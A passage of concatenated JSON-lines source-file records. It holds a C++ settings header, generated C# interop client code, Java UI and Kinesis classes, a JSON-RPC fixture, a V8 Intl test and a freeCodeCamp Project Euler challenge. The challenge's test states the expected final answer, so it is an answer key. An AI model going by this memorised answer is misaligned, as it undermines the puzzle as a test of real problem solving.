GOODS OR SERVICES;\n LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n The views and conclusions contained in the software and documentation are those\n of the authors and should not be interpreted as representing official policies,\n either expressed or implied, of the FreeBSD Project.\n \n */\n\n#pragma once\n\n#include \n#include \n\n#include \n\n#ifdef _WIN32\n#pragma warning(push)\n#pragma warning(disable:4290)\n#endif // _WIN32\n\n#define ZSLIB_SETTINGS_ROOT_JSON_IS_NESTED_NODE \"root\"\n\nnamespace zsLib\n{\n namespace internal\n {\n //-------------------------------------------------------------------------\n //-------------------------------------------------------------------------\n //-------------------------------------------------------------------------\n //-------------------------------------------------------------------------\n //\n // Settings\n //\n\n class Settings : public ISettings\n {\n protected:\n struct make_private {};\n ZS_DECLARE_TYPEDEF_PTR(zsLib::Log::Params, Params);\n \n public:\n friend interaction ISettings;\n\n enum DataTypes\n {\n DataType_String,\n DataType_Int,\n DataType_UInt,\n DataType_Bool,\n DataType_Float,\n DataType_Double,\n };\n\n typedef String Value;\n typedef std::pair ValuePair;\n\n typedef String Key;\n typedef std::map StoredSettingsMap;\n\n ZS_DECLARE_PTR(StoredSettingsMap);\n\n typedef std::list DefaultsDelegatesList;\n ZS_DECLARE_PTR(DefaultsDelegatesList);\n\n public:\n Settings(const make_private &) noexcept;\n\n public:\n ~Settings() noexcept override;\n\n protected:\n static SettingsPtr convert(ISettingsPtr setttings) noexcept;\n\n static SettingsPtr create() noexcept;\n\n static SettingsPtr singleton() noexcept;\n\n //---------------------------------------------------------------------\n //\n // Settings => ISettings\n //\n\n virtual void setup(ISettingsDelegatePtr delegate) noexcept;\n\n virtual String getString(const char *key) const noexcept;\n virtual LONG getInt(const char *key) const noexcept;\n virtual ULONG getUInt(const char *key) const noexcept;\n virtual bool getBool(const char *key) const noexcept;\n virtual float getFloat(const char *key) const noexcept;\n virtual double getDouble(const char *key) const noexcept;\n\n virtual void setString(\n const char *key,\n const char *value\n ) noexcept;\n virtual void setInt(\n const char *key,\n LONG value\n ) noexcept;\n virtual void setUInt(\n const char *key,\n ULONG value\n ) noexcept;\n virtual void setBool(\n const char *key,\n bool value\n ) noexcept;\n virtual void setFloat(\n const char *key,\n float value\n ) noexcept;\n virtual void setDouble(\n const char *key,\n double value\n ) noexcept;\n\n virtual void clear(const char *key) noexcept;\n\n virtual bool apply(const char *jsonSettings) noexcept;\n\n virtual void applyDefaults() noexcept;\n virtual void installDefaults(ISettingsApplyDefaultsDelegatePtr defaultsDelegate) noexcept;\n virtual void removeDefaults(ISettingsApplyDefaultsDelegate &defaultsDelegate) noexcept;\n\n virtual void clearAll() noexcept;\n\n virtual void verifySettingExists(const char *key) noexcept(false); //throws InvalidUsage\n\n virtual void verifyRequiredSettings() noexcept(false); // throws InvalidUsage\n\n protected:\n //---------------------------------------------------------------------\n //\n // Settings => (internal)\n //\n\n Params log(const char *message) const noexcept;\n static Params slog(const char *message) noexcept;\n\n void applyDefaultsIfNoDelegatePresent() noexcept;\n\n protected:\n //---------------------------------------------------------------------\n //\n // Settings => (data)\n //\n\n mutable RecursiveLock mLock;\n AutoPUID mID;\n SettingsWeakPtr mThisWeak;\n\n ISettingsDelegatePtr mDelegate;\n\n StoredSettingsMapPtr mStored;\n bool mAppliedDefaults {};\n\n DefaultsDelegatesListPtr mDefaultsDelegates;\n };\n } // namespace internal\n} // namespace zsLib\n\n#ifdef _WIN32\n#pragma warning(pop)\n#endif // _WIN32\n"} +{"text": "/**\n * Copyright 2017-2020 Plexus Interop Deutsche Bank AG\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n// \n// \tGenerated by the Plexus Interop compiler. DO NOT EDIT!\n// \tsource: plexus\\interop\\testing\\echo_server.interop\n// \n#pragma warning disable 1591, 0612, 3021\n#region Designer generated code\nnamespace Plexus.Interop.Testing.Generated {\n\t\n\tusing System;\n\tusing global::Plexus;\n\tusing global::Plexus.Channels;\n\tusing global::Plexus.Interop;\n\tusing global::System.Threading.Tasks;\n\t\t\t\t\t\n\t\t\t\t\t\n\tpublic partial interface IEchoServerClient: IClient {\n\t\tEchoServerClient.IEchoServiceProxy EchoService { get; }\n\t\t\n\t\tEchoServerClient.IGreetingServiceProxy GreetingService { get; }\n\t}\n\t\n\tpublic sealed partial class EchoServerClient: ClientBase, IEchoServerClient {\n\t\t\n\t\tpublic const string Id = \"plexus.interop.testing.EchoServer\";\n\t\t\n\t\tprivate static ClientOptions CreateClientOptions(EchoServerClient.ServiceBinder serviceBinder, Func setup = null) {\n\t\t\tClientOptionsBuilder builder = new ClientOptionsBuilder().WithApplicationId(Id).WithDefaultConfiguration();\n\t\t\tserviceBinder.Bind(builder);\n\t\t\tif (setup != null) {\n\t\t\t\tbuilder = setup(builder);\n\t\t\t}\n\t\t\treturn builder.Build();\n\t\t}\n\t\t\n\t\tpublic EchoServerClient(\n\t\t\tEchoServerClient.IEchoServiceImpl echoService,\n\t\t\tEchoServerClient.IGreetingServiceImpl greetingService,\n\t\t\tEchoServerClient.IAlwaysLaunchGreetingServiceImpl alwaysLaunchGreetingService,\n\t\t\tEchoServerClient.INeverLaunchGreetingServiceImpl neverLaunchGreetingService,\n\t\t\tFunc setup = null\n\t\t)\n\t\t:this(new EchoServerClient.ServiceBinder(\n\t\t\techoService,\n\t\t\tgreetingService,\n\t\t\talwaysLaunchGreetingService,\n\t\t\tneverLaunchGreetingService\n\t\t), setup) { }\n\t\t\n\t\tpublic EchoServerClient(EchoServerClient.ServiceBinder serviceBinder, Func setup = null): base(CreateClientOptions(serviceBinder, setup)) \n\t\t{\n\t\t\tEchoService = new EchoServerClient.EchoServiceProxy(this.CallInvoker);\n\t\t\tGreetingService = new EchoServerClient.GreetingServiceProxy(this.CallInvoker);\n\t\t}\n\t\n\t\tpublic sealed partial class ServiceBinder {\n\t\t\t\n\t\t\tpublic ServiceBinder(\n\t\t\t\tEchoServerClient.IEchoServiceImpl echoService,\n\t\t\t\tEchoServerClient.IGreetingServiceImpl greetingService,\n\t\t\t\tEchoServerClient.IAlwaysLaunchGreetingServiceImpl alwaysLaunchGreetingService,\n\t\t\t\tEchoServerClient.INeverLaunchGreetingServiceImpl neverLaunchGreetingService\n\t\t\t) {\n\t\t\t\t_echoServiceBinder = new EchoServerClient.EchoServiceBinder(echoService);\n\t\t\t\t_greetingServiceBinder = new EchoServerClient.GreetingServiceBinder(greetingService);\n\t\t\t\t_alwaysLaunchGreetingServiceBinder = new EchoServerClient.AlwaysLaunchGreetingServiceBinder(alwaysLaunchGreetingService);\n\t\t\t\t_neverLaunchGreetingServiceBinder = new EchoServerClient.NeverLaunchGreetingServiceBinder(neverLaunchGreetingService);\n\t\t\t}\n\t\t\t\n\t\t\tprivate EchoServiceBinder _echoServiceBinder;\n\t\t\tprivate GreetingServiceBinder _greetingServiceBinder;\n\t\t\tprivate AlwaysLaunchGreetingServiceBinder _alwaysLaunchGreetingServiceBinder;\n\t\t\tprivate NeverLaunchGreetingServiceBinder _neverLaunchGreetingServiceBinder;\n\t\t\t\n\t\t\tpublic ClientOptionsBuilder Bind(ClientOptionsBuilder builder) {\n\t\t\t\tbuilder = _echoServiceBinder.Bind(builder);\n\t\t\t\tbuilder = _greetingServiceBinder.Bind(builder);\n\t\t\t\tbuilder = _alwaysLaunchGreetingServiceBinder.Bind(builder);\n\t\t\t\tbuilder = _neverLaunchGreetingServiceBinder.Bind(builder);\n\t\t\t\treturn builder;\n\t\t\t}\n\t\t}\n\t\n\t\tpublic partial interface IEchoServiceImpl:\n\t\t\tglobal::Plexus.Interop.Testing.Generated.EchoService.IUnaryImpl,\n\t\t\tglobal::Plexus.Interop.Testing.Generated.EchoService.IServerStreamingImpl,\n\t\t\tglobal::Plexus.Interop.Testing.Generated.EchoService.IClientStreamingImpl,\n\t\t\tglobal::Plexus.Interop.Testing.Generated.EchoService.IDuplexStreamingImpl\n\t\t{ }\n\t\t\n\t\tprivate sealed partial class EchoServiceBinder {\n\t\t\t\n\t\t\t\n\t\t\tprivate readonly IEchoServiceImpl _impl;\n\t\t\t\n\t\t\tpublic EchoServiceBinder(IEchoServiceImpl impl) {\n\t\t\t\t_impl = impl;\n\t\t\t}\n\t\t\t\n\t\t\tpublic ClientOptionsBuilder Bind(ClientOptionsBuilder builder) {\n\t\t\t\treturn builder.WithProvidedService(global::Plexus.Interop.Testing.Generated.EchoService.Id, Bind);\n\t\t\t}\n\t\t\t\n\t\t\tprivate ProvidedServiceDefinition.Builder Bind(ProvidedServiceDefinition.Builder builder) {\n\t\t\t\tbuilder = builder.WithUnaryMethod(global::Plexus.Interop.Testing.Generated.EchoService.UnaryMethodId, _impl.Unary);\n\t\t\t\tbuilder = builder.WithServerStreamingMethod(global::Plexus.Interop.Testing.Generated.EchoService.ServerStreamingMethodId, _impl.ServerStreaming);\n\t\t\t\tbuilder = builder.WithClientStreamingMethod(global::Plexus.Interop.Testing.Generated.EchoService.ClientStreamingMethodId, _impl.ClientStreaming);\n\t\t\t\tbuilder = builder.WithDuplexStreamingMethod(global::Plexus.Interop.Testing.Generated.EchoService.DuplexStreamingMethodId, _impl.DuplexStreaming);\n\t\t\t\treturn builder; \t\t\t\t\t\t\t\n\t\t\t}\n\t\t}\n\t\t\n\t\tpublic sealed partial class EchoServiceImpl: IEchoServiceImpl\n\t\t{\n\t\t\tprivate readonly UnaryMethodHandler _unaryHandler;\n\t\t\tprivate readonly ServerStreamingMethodHandler _serverStreamingHandler;\n\t\t\tprivate readonly ClientStreamingMethodHandler _clientStreamingHandler;\n\t\t\tprivate readonly DuplexStreamingMethodHandler _duplexStreamingHandler;\n\t\t\t\n\t\t\tpublic EchoServiceImpl(\n\t\t\t\tUnaryMethodHandler unaryHandler,\n\t\t\t\tServerStreamingMethodHandler serverStreamingHandler,\n\t\t\t\tClientStreamingMethodHandler clientStreamingHandler,\n\t\t\t\tDuplexStreamingMethodHandler duplexStreamingHandler\n\t\t\t) {\n\t\t\t\t_unaryHandler = unaryHandler;\n\t\t\t\t_serverStreamingHandler = serverStreamingHandler;\n\t\t\t\t_clientStreamingHandler = clientStreamingHandler;\n\t\t\t\t_duplexStreamingHandler = duplexStreamingHandler;\n\t\t\t}\n\t\t\t\n\t\t\tpublic Task Unary(global::Plexus.Interop.Testing.Generated.EchoRequest request, MethodCallContext context) {\n\t\t\t\treturn _unaryHandler(request, context);\n\t\t\t}\n\t\t\t\n\t\t\tpublic Task ServerStreaming(global::Plexus.Interop.Testing.Generated.EchoRequest request, IWritableChannel responseStream, MethodCallContext context) {\n\t\t\t\treturn _serverStreamingHandler(request, responseStream, context);\n\t\t\t}\n\t\t\t\n\t\t\tpublic Task ClientStreaming(IReadableChannel requestStream, MethodCallContext context) {\n\t\t\t\treturn _clientStreamingHandler(requestStream, context);\n\t\t\t}\n\t\t\t\n\t\t\tpublic Task DuplexStreaming(IReadableChannel requestStream, IWritableChannel responseStream, MethodCallContext context) {\n\t\t\t\treturn _duplexStreamingHandler(requestStream, responseStream, context);\n\t\t\t}\n\t\t}\t\t\t\t\t\n\t\t\n\t\tpublic sealed partial class EchoServiceImpl: IEchoServiceImpl\n\t\t\twhere T:\n\t\t\tglobal::Plexus.Interop.Testing.Generated.EchoService.IUnaryImpl,\n\t\t\tglobal::Plexus.Interop.Testing.Generated.EchoService.IServerStreamingImpl,\n\t\t\tglobal::Plexus.Interop.Testing.Generated.EchoService.IClientStreamingImpl,\n\t\t\tglobal::Plexus.Interop.Testing.Generated.EchoService.IDuplexStreamingImpl\n\t\t{\n\t\t\tprivate readonly T _impl;\n\t\t\t\n\t\t\tpublic EchoServiceImpl(T impl) {\n\t\t\t\t_impl = impl;\n\t\t\t}\n\t\t\t\n\t\t\tpublic Task Unary(global::Plexus.Interop.Testing.Generated.EchoRequest request, MethodCallContext context) {\n\t\t\t\treturn _impl.Unary(request, context);\n\t\t\t}\n\t\t\t\n\t\t\tpublic Task ServerStreaming(global::Plexus.Interop.Testing.Generated.EchoRequest request, IWritableChannel responseStream, MethodCallContext context) {\n\t\t\t\treturn _impl.ServerStreaming(request, responseStream, context);\n\t\t\t}\n\t\t\t\n\t\t\tpublic Task ClientStreaming(IReadableChannel requestStream, MethodCallContext context) {\n\t\t\t\treturn _impl.ClientStreaming(requestStream, context);\n\t\t\t}\n\t\t\t\n\t\t\tpublic Task DuplexStreaming(IReadableChannel requestStream, IWritableChannel responseStream, MethodCallContext context) {\n\t\t\t\treturn _impl.DuplexStreaming(requestStream, responseStream, context);\n\t\t\t}\n\t\t}\n\t\t\n\t\tpublic partial interface IGreetingServiceImpl:\n\t\t\tglobal::Plexus.Interop.Testing.Generated.GreetingService.IHelloImpl\n\t\t{ }\n\t\t\n\t\tprivate sealed partial class GreetingServiceBinder {\n\t\t\t\n\t\t\t\n\t\t\tprivate readonly IGreetingServiceImpl _impl;\n\t\t\t\n\t\t\tpublic GreetingServiceBinder(IGreetingServiceImpl impl) {\n\t\t\t\t_impl = impl;\n\t\t\t}\n\t\t\t\n\t\t\tpublic ClientOptionsBuilder Bind(ClientOptionsBuilder builder) {\n\t\t\t\treturn builder.WithProvidedService(global::Plexus.Interop.Testing.Generated.GreetingService.Id, Bind);\n\t\t\t}\n\t\t\t\n\t\t\tprivate ProvidedServiceDefinition.Builder Bind(ProvidedServiceDefinition.Builder builder) {\n\t\t\t\tbuilder = builder.WithUnaryMethod(global::Plexus.Interop.Testing.Generated.GreetingService.HelloMethodId, _impl.Hello);\n\t\t\t\treturn builder; \t\t\t\t\t\t\t\n\t\t\t}\n\t\t}\n\t\t\n\t\tpublic sealed partial class GreetingServiceImpl: IGreetingServiceImpl\n\t\t{\n\t\t\tprivate readonly UnaryMethodHandler _helloHandler;\n\t\t\t\n\t\t\tpublic GreetingServiceImpl(\n\t\t\t\tUnaryMethodHandler helloHandler\n\t\t\t) {\n\t\t\t\t_helloHandler = helloHandler;\n\t\t\t}\n\t\t\t\n\t\t\tpublic Task Hello(global::Plexus.Interop.Testing.Generated.GreetingRequest request, MethodCallContext context) {\n\t\t\t\treturn _helloHandler(request, context);\n\t\t\t}\n\t\t}\t\t\t\t\t\n\t\t\n\t\tpublic sealed partial class GreetingServiceImpl: IGreetingServiceImpl\n\t\t\twhere T:\n\t\t\tglobal::Plexus.Interop.Testing.Generated.GreetingService.IHelloImpl\n\t\t{\n\t\t\tprivate readonly T _impl;\n\t\t\t\n\t\t\tpublic GreetingServiceImpl(T impl) {\n\t\t\t\t_impl = impl;\n\t\t\t}\n\t\t\t\n\t\t\tpublic Task Hello(global::Plexus.Interop.Testing.Generated.GreetingRequest request, MethodCallContext context) {\n\t\t\t\treturn _impl.Hello(request, context);\n\t\t\t}\n\t\t}\n\t\t\n\t\tpublic partial interface IAlwaysLaunchGreetingServiceImpl:\n\t\t\tglobal::Plexus.Interop.Testing.Generated.GreetingService.IHelloImpl\n\t\t{ }\n\t\t\n\t\tprivate sealed partial class AlwaysLaunchGreetingServiceBinder {\n\t\t\t\n\t\t\tpublic const string Alias = \"AlwaysLaunchGreetingService\";\n\t\t\t\n\t\t\tprivate readonly IAlwaysLaunchGreetingServiceImpl _impl;\n\t\t\t\n\t\t\tpublic AlwaysLaunchGreetingServiceBinder(IAlwaysLaunchGreetingServiceImpl impl) {\n\t\t\t\t_impl = impl;\n\t\t\t}\n\t\t\t\n\t\t\tpublic ClientOptionsBuilder Bind(ClientOptionsBuilder builder) {\n\t\t\t\treturn builder.WithProvidedService(global::Plexus.Interop.Testing.Generated.GreetingService.Id, Alias, Bind);\n\t\t\t}\n\t\t\t\n\t\t\tprivate ProvidedServiceDefinition.Builder Bind(ProvidedServiceDefinition.Builder builder) {\n\t\t\t\tbuilder = builder.WithUnaryMethod(global::Plexus.Interop.Testing.Generated.GreetingService.HelloMethodId, _impl.Hello);\n\t\t\t\treturn builder; \t\t\t\t\t\t\t\n\t\t\t}\n\t\t}\n\t\t\n\t\tpublic sealed partial class AlwaysLaunchGreetingServiceImpl: IAlwaysLaunchGreetingServiceImpl\n\t\t{\n\t\t\tprivate readonly UnaryMethodHandler _helloHandler;\n\t\t\t\n\t\t\tpublic AlwaysLaunchGreetingServiceImpl(\n\t\t\t\tUnaryMethodHandler helloHandler\n\t\t\t) {\n\t\t\t\t_helloHandler = helloHandler;\n\t\t\t}\n\t\t\t\n\t\t\tpublic Task Hello(global::Plexus.Interop.Testing.Generated.GreetingRequest request, MethodCallContext context) {\n\t\t\t\treturn _helloHandler(request, context);\n\t\t\t}\n\t\t}\t\t\t\t\t\n\t\t\n\t\tpublic sealed partial class AlwaysLaunchGreetingServiceImpl: IAlwaysLaunchGreetingServiceImpl\n\t\t\twhere T:\n\t\t\tglobal::Plexus.Interop.Testing.Generated.GreetingService.IHelloImpl\n\t\t{\n\t\t\tprivate readonly T _impl;\n\t\t\t\n\t\t\tpublic AlwaysLaunchGreetingServiceImpl(T impl) {\n\t\t\t\t_impl = impl;\n\t\t\t}\n\t\t\t\n\t\t\tpublic Task Hello(global::Plexus.Interop.Testing.Generated.GreetingRequest request, MethodCallContext context) {\n\t\t\t\treturn _impl.Hello(request, context);\n\t\t\t}\n\t\t}\n\t\t\n\t\tpublic partial interface INeverLaunchGreetingServiceImpl:\n\t\t\tglobal::Plexus.Interop.Testing.Generated.GreetingService.IHelloImpl\n\t\t{ }\n\t\t\n\t\tprivate sealed partial class NeverLaunchGreetingServiceBinder {\n\t\t\t\n\t\t\tpublic const string Alias = \"NeverLaunchGreetingService\";\n\t\t\t\n\t\t\tprivate readonly INeverLaunchGreetingServiceImpl _impl;\n\t\t\t\n\t\t\tpublic NeverLaunchGreetingServiceBinder(INeverLaunchGreetingServiceImpl impl) {\n\t\t\t\t_impl = impl;\n\t\t\t}\n\t\t\t\n\t\t\tpublic ClientOptionsBuilder Bind(ClientOptionsBuilder builder) {\n\t\t\t\treturn builder.WithProvidedService(global::Plexus.Interop.Testing.Generated.GreetingService.Id, Alias, Bind);\n\t\t\t}\n\t\t\t\n\t\t\tprivate ProvidedServiceDefinition.Builder Bind(ProvidedServiceDefinition.Builder builder) {\n\t\t\t\tbuilder = builder.WithUnaryMethod(global::Plexus.Interop.Testing.Generated.GreetingService.HelloMethodId, _impl.Hello);\n\t\t\t\treturn builder; \t\t\t\t\t\t\t\n\t\t\t}\n\t\t}\n\t\t\n\t\tpublic sealed partial class NeverLaunchGreetingServiceImpl: INeverLaunchGreetingServiceImpl\n\t\t{\n\t\t\tprivate readonly UnaryMethodHandler _helloHandler;\n\t\t\t\n\t\t\tpublic NeverLaunchGreetingServiceImpl(\n\t\t\t\tUnaryMethodHandler helloHandler\n\t\t\t) {\n\t\t\t\t_helloHandler = helloHandler;\n\t\t\t}\n\t\t\t\n\t\t\tpublic Task Hello(global::Plexus.Interop.Testing.Generated.GreetingRequest request, MethodCallContext context) {\n\t\t\t\treturn _helloHandler(request, context);\n\t\t\t}\n\t\t}\t\t\t\t\t\n\t\t\n\t\tpublic sealed partial class NeverLaunchGreetingServiceImpl: INeverLaunchGreetingServiceImpl\n\t\t\twhere T:\n\t\t\tglobal::Plexus.Interop.Testing.Generated.GreetingService.IHelloImpl\n\t\t{\n\t\t\tprivate readonly T _impl;\n\t\t\t\n\t\t\tpublic NeverLaunchGreetingServiceImpl(T impl) {\n\t\t\t\t_impl = impl;\n\t\t\t}\n\t\t\t\n\t\t\tpublic Task Hello(global::Plexus.Interop.Testing.Generated.GreetingRequest request, MethodCallContext context) {\n\t\t\t\treturn _impl.Hello(request, context);\n\t\t\t}\n\t\t}\n\t\t\n\t\tpublic partial interface IEchoServiceProxy:\n\t\t\tglobal::Plexus.Interop.Testing.Generated.EchoService.IUnaryProxy,\n\t\t\tglobal::Plexus.Interop.Testing.Generated.EchoService.IServerStreamingProxy,\n\t\t\tglobal::Plexus.Interop.Testing.Generated.EchoService.IClientStreamingProxy,\n\t\t\tglobal::Plexus.Interop.Testing.Generated.EchoService.IDuplexStreamingProxy\n\t\t{ }\n\t\t\n\t\tpublic sealed partial class EchoServiceProxy: IEchoServiceProxy {\n\t\t\t\n\t\t\tpublic static global::Plexus.Interop.Testing.Generated.EchoService.Descriptor Descriptor = global::Plexus.Interop.Testing.Generated.EchoService.DefaultDescriptor;\n\t\t\t\n\t\t\tprivate readonly IClientCallInvoker _callInvoker;\n\t\t\t\t\t\t\t\t\t\n\t\t\tpublic EchoServiceProxy(IClientCallInvoker callInvoker) {\n\t\t\t\t_callInvoker = callInvoker;\n\t\t\t}\t\t\t\t\t\t\n\t\t\t\n\t\t\tpublic IUnaryMethodCall Unary(global::Plexus.Interop.Testing.Generated.EchoRequest request) {\n\t\t\t\treturn _callInvoker.Call(Descriptor.UnaryMethod, request);\n\t\t\t}\n\t\t\t\n\t\t\tpublic IServerStreamingMethodCall ServerStreaming(global::Plexus.Interop.Testing.Generated.EchoRequest request) {\n\t\t\t\treturn _callInvoker.Call(Descriptor.ServerStreamingMethod, request);\n\t\t\t}\n\t\t\t\n\t\t\tpublic IClientStreamingMethodCall ClientStreaming() {\n\t\t\t\treturn _callInvoker.Call(Descriptor.ClientStreamingMethod);\n\t\t\t}\n\t\t\t\n\t\t\tpublic IDuplexStreamingMethodCall DuplexStreaming() {\n\t\t\t\treturn _callInvoker.Call(Descriptor.DuplexStreamingMethod);\n\t\t\t}\n\t\t}\n\t\t\n\t\tpublic IEchoServiceProxy EchoService { get; private set; }\n\t\t\n\t\tpublic partial interface IGreetingServiceProxy:\n\t\t\tglobal::Plexus.Interop.Testing.Generated.GreetingService.IHelloProxy\n\t\t{ }\n\t\t\n\t\tpublic sealed partial class GreetingServiceProxy: IGreetingServiceProxy {\n\t\t\t\n\t\t\tpublic static global::Plexus.Interop.Testing.Generated.GreetingService.Descriptor Descriptor = global::Plexus.Interop.Testing.Generated.GreetingService.DefaultDescriptor;\n\t\t\t\n\t\t\tprivate readonly IClientCallInvoker _callInvoker;\n\t\t\t\t\t\t\t\t\t\n\t\t\tpublic GreetingServiceProxy(IClientCallInvoker callInvoker) {\n\t\t\t\t_callInvoker = callInvoker;\n\t\t\t}\t\t\t\t\t\t\n\t\t\t\n\t\t\tpublic IUnaryMethodCall Hello(global::Plexus.Interop.Testing.Generated.GreetingRequest request) {\n\t\t\t\treturn _callInvoker.Call(Descriptor.HelloMethod, request);\n\t\t\t}\n\t\t}\n\t\t\n\t\tpublic IGreetingServiceProxy GreetingService { get; private set; }\n\t}\n}\n#endregion Designer generated code\n"} +{"text": "/**\n * Copyright (c) 2008-2020 Bird Dog Games, Inc.\n *\n * This file is part of Ardor3D.\n *\n * Ardor3D is free software: you can redistribute it and/or modify it\n * under the terms of its license which may be found in the accompanying\n * LICENSE file or at .\n */\n\npackage com.ardor3d.extension.ui.text;\n\nimport com.ardor3d.extension.ui.UIState;\nimport com.ardor3d.extension.ui.util.Alignment;\n\npublic class UITextArea extends AbstractUITextEntryComponent {\n\n protected UIKeyHandler _keyHandler;\n\n public UITextArea() {\n setAlignment(Alignment.TOP_LEFT);\n _disabledState = new UIState();\n _defaultState = new DefaultTextEntryState();\n _writingState = new TextEntryWritingState(this);\n setEditable(true);\n applySkin();\n switchState(getDefaultState());\n }\n\n @Override\n protected UIKeyHandler getKeyHandler() {\n if (_keyHandler == null) {\n _keyHandler = new DefaultLatinTextEntryKeyHandler(this);\n }\n return _keyHandler;\n }\n\n public void setKeyHandler(final UIKeyHandler handler) { _keyHandler = handler; }\n}\n"} +{"text": "[\n {\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"net_version\",\n \"params\": []\n },\n {\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"firefly_setNetworkId\",\n \"params\": [\n 6721975\n ]\n },\n {\n \"jsonrpc\": \"2.0\",\n \"id\": 3,\n \"method\": \"net_version\",\n \"params\": []\n }\n]\n"} +{"text": "---\nid: 5900f4ea1000cf542c50fffc\nchallengeType: 5\ntitle: 'Problem 381: (prime-k) factorial'\nforumTopicId: 302045\n---\n\n## Description\n
    \nFor a prime p let S(p) = (∑(p-k)!) mod(p) for 1 ≤ k ≤ 5.\n\n\nFor example, if p=7,\n(7-1)! + (7-2)! + (7-3)! + (7-4)! + (7-5)! = 6! + 5! + 4! + 3! + 2! = 720+120+24+6+2 = 872.\nAs 872 mod(7) = 4, S(7) = 4.\n\n\nIt can be verified that ∑S(p) = 480 for 5 ≤ p < 100.\n\n\nFind ∑S(p) for 5 ≤ p < 108.\n
    \n\n## Instructions\n
    \n\n
    \n\n## Tests\n
    \n\n```yml\ntests:\n - text: euler381() should return 139602943319822.\n testString: assert.strictEqual(euler381(), 139602943319822);\n\n```\n\n
    \n\n## Challenge Seed\n
    \n\n
    \n\n```js\nfunction euler381() {\n\n return true;\n}\n\neuler381();\n```\n\n
    \n\n\n\n
    \n\n## Solution\n
    \n\n```js\n// solution required\n```\n\n
    \n"} +{"text": "/*\n * Copyright 2019 Amazon.com, Inc. or its affiliates.\n * Licensed under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage software.amazon.kinesis.multilang;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\n\nimport software.amazon.kinesis.multilang.messages.Message;\nimport com.fasterxml.jackson.databind.ObjectMapper;\n\nimport lombok.extern.slf4j.Slf4j;\n\n/**\n * Gets the next message off the STDOUT of the child process. Throws an exception if a message is not found before the\n * end of the input stream is reached.\n */\n@Slf4j\nclass GetNextMessageTask extends LineReaderTask {\n private ObjectMapper objectMapper;\n\n private static final String EMPTY_LINE = \"\";\n\n /**\n * Constructor.\n * \n * @param objectMapper An object mapper for decoding json messages from the input stream.\n */\n GetNextMessageTask(ObjectMapper objectMapper) {\n this.objectMapper = objectMapper;\n }\n\n /**\n * Checks if a line is an empty line.\n * \n * @param line A string\n * @return True if the line is an empty string, i.e. \"\", false otherwise.\n */\n static boolean isEmptyLine(String line) {\n return EMPTY_LINE.equals(line);\n }\n\n @Override\n protected HandleLineResult handleLine(String line) {\n try {\n /*\n * If the line is an empty line we don't bother logging anything because we expect the child process to be\n * nesting its messages between new lines, e.g. \"\\n\\n\". If there are no other entities writing\n * to the child process's STDOUT then this behavior will result in patterns like\n * \"...\\n\\n\\n\\n...\" which contains empty lines.\n */\n if (!isEmptyLine(line)) {\n return new HandleLineResult(objectMapper.readValue(line, Message.class));\n }\n } catch (IOException e) {\n log.info(\"Skipping unexpected line on STDOUT for shard {}: {}\", getShardId(), line);\n }\n return new HandleLineResult();\n }\n\n @Override\n protected Message returnAfterException(Exception e) {\n throw new RuntimeException(\"Encountered an error while reading a line from STDIN for shard \" + getShardId()\n + \" so won't be able to return a message.\", e);\n }\n\n @Override\n protected Message returnAfterEndOfInput() {\n throw new RuntimeException(\"Reached end of STDIN of child process for shard \" + getShardId()\n + \" so won't be able to return a message.\");\n }\n\n public LineReaderTask initialize(BufferedReader reader, String shardId) {\n return initialize(reader, shardId, \"Reading next message from STDIN for \" + shardId);\n }\n}\n"} +{"text": "// Copyright 2018 the V8 project authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n// test the numberingSystem is set correctly via -u-nu-\nlet dtf = new Intl.DateTimeFormat([\"en-u-ba-rfoo-nu-arab-fo-obar\"]);\nassertEquals(\"arab\", dtf.resolvedOptions().numberingSystem);\nassertEquals(\"en-u-nu-arab\", dtf.resolvedOptions().locale);\n\nlet nf = new Intl.NumberFormat([\"en-u-ba-rfoo-nu-arab-fo-obar\"]);\nassertEquals(\"arab\", nf.resolvedOptions().numberingSystem);\nassertEquals(\"١٢٣\", nf.format(123));\nassertEquals(\"en-u-nu-arab\", nf.resolvedOptions().locale);\n\ndtf = new Intl.DateTimeFormat([\"en-u-ba-rfoo-nu-thai-fo-obar\"]);\nassertEquals(\"thai\", dtf.resolvedOptions().numberingSystem);\nassertEquals(\"en-u-nu-thai\", dtf.resolvedOptions().locale);\n\nnf = new Intl.NumberFormat([\"en-u-ba-rfoo-nu-thai-fo-obar\"]);\nassertEquals(\"thai\", nf.resolvedOptions().numberingSystem);\nassertEquals(\"๑๒๓\", nf.format(123));\nassertEquals(\"en-u-nu-thai\", nf.resolvedOptions().locale);\n\nnf = new Intl.NumberFormat([\"ar-EG-u-nu-latn\"]);\nassertEquals(\"latn\", nf.resolvedOptions().numberingSystem);\nassertEquals(\"123\", nf.format(123));\nassertEquals(\"ar-EG-u-nu-latn\", nf.resolvedOptions().locale);\n"} +{"text": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// TODO(rsc): Rewrite all nn(SP) references into name+(nn-8)(FP)\n// so that go vet can check that they are correct.\n\n#include \"textflag.h\"\n#include 